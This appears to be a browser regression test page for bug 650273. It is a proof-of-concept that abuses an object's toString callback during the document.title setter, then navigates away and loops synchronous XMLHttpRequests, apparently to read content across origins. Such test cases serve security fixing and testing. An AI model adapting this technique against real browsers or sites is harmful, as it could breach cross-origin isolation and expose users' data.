file_bug650273.html 774 B

1234567891011121314151617181920212223242526272829303132
  1. <!-- test by moz_bug_r_a4@yahoo.com -->
  2. <body onload="a()">
  3. <script>
  4. var targetUrl = "http://example.com/";
  5. var l;
  6. function a() {
  7. var o = {};
  8. o.toString = function() {
  9. l();
  10. return "a";
  11. };
  12. var f = Object.getOwnPropertyDescriptor(Document.prototype, "title").set;
  13. setTimeout(f.bind(document), 0, o);
  14. }
  15. function l() {
  16. var l = false;
  17. onunload = function() {
  18. l = true;
  19. };
  20. location = targetUrl;
  21. do {
  22. var r = new XMLHttpRequest();
  23. r.open("GET", location.href, false);
  24. r.overrideMimeType("text/plain");
  25. try { r.send(null); }
  26. catch (e) {}
  27. } while (!l);
  28. }
  29. </script>